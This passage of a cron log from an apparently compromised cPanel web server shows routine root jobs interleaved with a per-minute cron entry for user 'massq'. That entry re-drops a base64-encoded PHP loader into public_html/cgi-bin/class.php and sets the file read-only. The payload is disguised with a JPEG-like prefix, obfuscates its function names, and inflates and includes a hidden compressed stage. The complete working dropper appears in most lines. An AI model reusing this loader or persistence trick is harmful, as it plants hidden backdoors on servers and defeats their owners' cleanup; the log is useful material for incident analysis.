&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:35:01 server CROND[16737]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 23:35:01 server CROND[16739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:35:01 server CROND[16740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:35:01 server CROND[16741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 23:35:01 server CROND[16738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:36:01 server CROND[17624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:37:01 server CROND[18273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:38:01 server CROND[19228]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:39:01 server CROND[20083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:39:01 server CROND[20084]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 23:40:01 server CROND[20949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:40:01 server CROND[20948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:40:01 server CROND[20950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:40:01 server CROND[20947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 23:41:01 server CROND[21743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:42:01 server CROND[22646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:42:01 server CROND[22647]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 23:43:01 server CROND[23665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:44:01 server CROND[24537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:45:01 server CROND[25228]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:45:01 server CROND[25229]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:45:01 server CROND[25230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:46:01 server CROND[26145]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
